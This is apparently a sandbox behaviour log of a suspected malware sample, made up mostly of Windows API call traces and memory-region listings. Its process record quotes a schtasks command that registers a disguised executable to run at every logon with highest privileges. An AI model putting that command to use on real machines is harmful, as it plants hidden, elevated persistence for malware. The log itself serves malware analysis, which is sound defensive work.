RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cc00) returned 0x20 [0164.085] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cc00 | out: hHeap=0x200000) returned 1 [0164.085] GetProcessHeap () returned 0x200000 [0164.086] GetProcessHeap () returned 0x200000 [0164.086] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d5f0) returned 1 [0164.086] GetProcessHeap () returned 0x200000 [0164.086] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d5f0) returned 0xa [0164.086] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d5f0 | out: hHeap=0x200000) returned 1 [0164.086] GetProcessHeap () returned 0x200000 [0164.086] GetProcessHeap () returned 0x200000 [0164.086] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cbd0) returned 1 [0164.086] GetProcessHeap () returned 0x200000 [0164.086] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cbd0) returned 0x20 [0164.087] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cbd0 | out: hHeap=0x200000) returned 1 [0164.087] GetProcessHeap () returned 0x200000 [0164.087] GetProcessHeap () returned 0x200000 [0164.087] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d610) returned 1 [0164.087] GetProcessHeap () returned 0x200000 [0164.087] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d610) returned 0xc [0164.087] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d610 | out: hHeap=0x200000) returned 1 [0164.087] GetProcessHeap () returned 0x200000 [0164.087] GetProcessHeap () returned 0x200000 [0164.087] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cba0) returned 1 [0164.087] GetProcessHeap () returned 0x200000 [0164.087] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cba0) returned 0x20 [0164.087] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cba0 | out: hHeap=0x200000) returned 1 [0164.087] GetProcessHeap () returned 0x200000 [0164.087] GetProcessHeap () returned 0x200000 [0164.087] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21b9c0) returned 1 [0164.088] GetProcessHeap () returned 0x200000 [0164.088] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21b9c0) returned 0x18 [0164.088] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21b9c0 | out: hHeap=0x200000) returned 1 [0164.088] GetProcessHeap () returned 0x200000 [0164.088] GetProcessHeap () returned 0x200000 [0164.088] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x2159c0) returned 1 [0164.088] GetProcessHeap () returned 0x200000 [0164.088] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x2159c0) returned 0x20 [0164.088] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x2159c0 | out: hHeap=0x200000) returned 1 [0164.088] GetProcessHeap () returned 0x200000 [0164.088] GetProcessHeap () returned 0x200000 [0164.088] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x2159f0) returned 1 [0164.088] GetProcessHeap () returned 0x200000 [0164.088] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x2159f0) returned 0x20 [0164.089] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x2159f0 | out: hHeap=0x200000) returned 1 [0164.089] GetProcessHeap () returned 0x200000 [0164.089] GetProcessHeap () returned 0x200000 [0164.089] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215a20) returned 1 [0164.089] GetProcessHeap () returned 0x200000 [0164.089] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215a20) returned 0x20 [0164.089] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215a20 | out: hHeap=0x200000) returned 1 [0164.089] GetProcessHeap () returned 0x200000 [0164.089] GetProcessHeap () returned 0x200000 [0164.089] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215a50) returned 1 [0164.089] GetProcessHeap () returned 0x200000 [0164.089] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215a50) returned 0x20 [0164.090] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215a50 | out: hHeap=0x200000) returned 1 [0164.090] GetProcessHeap () returned 0x200000 [0164.090] GetProcessHeap () returned 0x200000 [0164.090] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21b9e0) returned 1 [0164.090] GetProcessHeap () returned 0x200000 [0164.090] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21b9e0) returned 0x18 [0164.090] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21b9e0 | out: hHeap=0x200000) returned 1 [0164.090] GetProcessHeap () returned 0x200000 [0164.090] GetProcessHeap () returned 0x200000 [0164.090] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215a80) returned 1 [0164.090] GetProcessHeap () returned 0x200000 [0164.090] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215a80) returned 0x20 [0164.090] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215a80 | out: hHeap=0x200000) returned 1 [0164.090] GetProcessHeap () returned 0x200000 [0164.090] GetProcessHeap () returned 0x200000 [0164.091] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215b10) returned 1 [0164.091] GetProcessHeap () returned 0x200000 [0164.091] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215b10) returned 0x20 [0164.091] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215b10 | out: hHeap=0x200000) returned 1 [0164.091] GetProcessHeap () returned 0x200000 [0164.091] GetProcessHeap () returned 0x200000 [0164.091] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215b70) returned 1 [0164.091] GetProcessHeap () returned 0x200000 [0164.091] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215b70) returned 0x20 [0164.091] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215b70 | out: hHeap=0x200000) returned 1 [0164.091] GetProcessHeap () returned 0x200000 [0164.091] GetProcessHeap () returned 0x200000 [0164.091] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215bd0) returned 1 [0164.091] GetProcessHeap () returned 0x200000 [0164.091] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215bd0) returned 0x20 [0164.092] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215bd0 | out: hHeap=0x200000) returned 1 [0164.092] GetProcessHeap () returned 0x200000 [0164.092] GetProcessHeap () returned 0x200000 [0164.092] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215c00) returned 1 [0164.092] GetProcessHeap () returned 0x200000 [0164.092] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215c00) returned 0x20 [0164.092] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215c00 | out: hHeap=0x200000) returned 1 [0164.092] GetProcessHeap () returned 0x200000 [0164.092] GetProcessHeap () returned 0x200000 [0164.092] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21ba00) returned 1 [0164.092] GetProcessHeap () returned 0x200000 [0164.092] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21ba00) returned 0x18 [0164.093] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21ba00 | out: hHeap=0x200000) returned 1 [0164.093] GetProcessHeap () returned 0x200000 [0164.093] GetProcessHeap () returned 0x200000 [0164.093] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215b40) returned 1 [0164.093] GetProcessHeap () returned 0x200000 [0164.093] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215b40) returned 0x20 [0164.093] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215b40 | out: hHeap=0x200000) returned 1 [0164.093] GetProcessHeap () returned 0x200000 [0164.093] GetProcessHeap () returned 0x200000 [0164.093] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21b980) returned 1 [0164.093] GetProcessHeap () returned 0x200000 [0164.093] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21b980) returned 0x18 [0164.093] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21b980 | out: hHeap=0x200000) returned 1 [0164.093] exit (_Code=0) Thread: id = 221 os_tid = 0xa3c Process: id = "65" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3f04d000" os_pid = "0xa40" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"flashfxp\" /sc ONLOGON /tr \"'C:\\Users\\Default User\\flashfxp.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4815 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4816 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4817 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4818 start_va = 0xa0000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 4819 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4820 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4821 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4822 start_va = 0xff450000 end_va = 0xff497fff monitored = 1 entry_point = 0xff47966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 4823 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4824 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4825 start_va = 0x7fffffda000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 4826 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 4827 start_va = 0x120000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 4828 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4829 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4830 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4831 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4832 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4833 start_va = 0x120000 end_va = 0x186fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4834 start_va = 0x310000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 4835 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4836 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4837 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4838 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4839 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4840 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4841 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4842 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4843 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4844 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 4845 start_va = 0x190000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 4846 start_va = 0x190000 end_va = 0x28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 4847 start_va = 0x2e0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 4848 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4849 start_va = 0x410000 end_va = 0x597fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 4850 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4851 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4852 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4853 start_va = 0x5a0000 end_va = 0x720fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005a0000" filename = "" Region: id = 4854 start_va = 0x730000 end_va = 0x1b2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000730000" filename = "" Region: id = 4855 start_va = 0x50000 end_va = 0x61fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 4856 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4857 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 4858 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4859 start_va = 0x1b30000 end_va = 0x1dfefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4860 start_va = 0x1e00000 end_va = 0x1e7cfff monitored = 0 entry_point = 0x1e0cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4861 start_va = 0x1e00000 end_va = 0x1e7cfff monitored = 0 entry_point = 0x1e0cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4862 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4863 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 4864 start_va = 0x1e00000 end_va = 0x1f6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 4865 start_va = 0x1e00000 end_va = 0x1edefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 4866 start_va = 0x1ef0000 end_va = 0x1f6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ef0000" filename = "" Region: id = 4867 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4868 start_va = 0x2040000 end_va = 0x20bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002040000" filename = "" Region: id = 4869 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 4871 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4872 start_va = 0x80000 end_va = 0x80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 4873 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4874 start_va = 0x90000 end_va = 0x90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 4875 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 4876 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4881 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 222 os_tid = 0xa44 [0163.866] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x11fc00 | out: lpSystemTimeAsFileTime=0x11fc00*(dwLowDateTime=0x2dd03ce0, dwHighDateTime=0x1d8a92a)) [0163.866] GetCurrentProcessId () returned 0xa40 [0163.866] GetCurrentThreadId () returned 0xa44 [0163.866] GetTickCount () returned 0x138d0eb [0163.866] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x11fc08 | out: lpPerformanceCount=0x11fc08*=2064272951022) returned 1 [0163.867] GetModuleHandleW (lpModuleName=0x0) returned 0xff450000 [0163.867] __set_app_type (_Type=0x1) [0163.867] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff47972c) returned 0x0 [0163.867] __wgetmainargs (in: _Argc=0xff491240, _Argv=0xff491250, _Env=0xff491248, _DoWildCard=0, _StartInfo=0xff49125c | out: _Argc=0xff491240, _Argv=0xff491250, _Env=0xff491248) returned 0 [0163.868] _onexit (_Func=0xff482ab0) returned 0xff482ab0 [0163.868] _onexit (_Func=0xff482ac4) returned 0xff482ac4 [0163.868] _onexit (_Func=0xff482afc) returned 0xff482afc [0163.868] _onexit (_Func=0xff482b58) returned 0xff482b58 [0163.868] _onexit (_Func=0xff482b80) returned 0xff482b80 [0163.868] _onexit (_Func=0xff482ba8) returned 0xff482ba8 [0163.868] _onexit (_Func=0xff482bd0) returned 0xff482bd0 [0163.869] _onexit (_Func=0xff482bf8) returned 0xff482bf8 [0163.869] _onexit (_Func=0xff482c20) returned 0xff482c20 [0163.869] _onexit (_Func=0xff482c48) returned 0xff482c48 [0163.869] _onexit (_Func=0xff482c70) returned 0xff482c70 [0163.869] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0163.869] WinSqmIsOptedIn () returned 0x0 [0163.870] GetProcessHeap () returned 0x310000 [0163.870] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32b990 [0163.870] SetLastError (dwErrCode=0x0) [0163.870] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0163.870] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0163.870] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0163.870] VerifyVersionInfoW (in: lpVersionInformation=0x11f3c0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x11f3c0) returned 1 [0163.870] GetProcessHeap () returned 0x310000 [0163.870] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32b9b0 [0163.870] lstrlenW (lpString="") returned 0 [0163.870] GetProcessHeap () returned 0x310000 [0163.870] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x2) returned 0x32b9d0 [0163.870] GetProcessHeap () returned 0x310000 [0163.870] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325930 [0163.870] GetProcessHeap () returned 0x310000 [0163.870] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32b9f0 [0163.870] GetProcessHeap () returned 0x310000 [0163.870] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325960 [0163.870] GetProcessHeap () returned 0x310000 [0163.871] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325990 [0163.871] GetProcessHeap () returned 0x310000 [0163.871] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x3259c0 [0163.871] GetProcessHeap () returned 0x310000 [0163.871] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x3259f0 [0163.871] GetProcessHeap () returned 0x310000 [0163.871] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32ba10 [0163.871] GetProcessHeap () returned 0x310000 [0163.871] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325a20 [0163.871] GetProcessHeap () returned 0x310000 [0163.871] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325a50 [0163.871] GetProcessHeap () returned 0x310000 [0163.871] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325a80 [0163.871] GetProcessHeap () returned 0x310000 [0163.871] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325ab0 [0163.871] GetProcessHeap () returned 0x310000 [0163.871] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32ba30 [0163.871] GetProcessHeap () returned 0x310000 [0163.871] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325ae0 [0163.871] GetProcessHeap () returned 0x310000 [0163.871] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325b10 [0163.871] GetProcessHeap () returned 0x310000 [0163.871] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325b40 [0163.871] GetProcessHeap () returned 0x310000 [0163.871] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325b70 [0163.871] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0163.871] SetLastError (dwErrCode=0x0) [0163.872] GetProcessHeap () returned 0x310000 [0163.872] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325ba0 [0163.872] GetProcessHeap () returned 0x310000 [0163.872] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325bd0 [0163.872] GetProcessHeap () returned 0x310000 [0163.872] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325c00 [0163.872] GetProcessHeap () returned 0x310000 [0163.872] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325c30 [0163.872] GetProcessHeap () returned 0x310000 [0163.872] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325c60 [0163.872] GetProcessHeap () returned 0x310000 [0163.872] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32ba50 [0163.872] _memicmp (_Buf1=0x32ba50, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.872] GetProcessHeap () returned 0x310000 [0163.872] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x208) returned 0x32bbf0 [0163.872] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x32bbf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0163.872] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 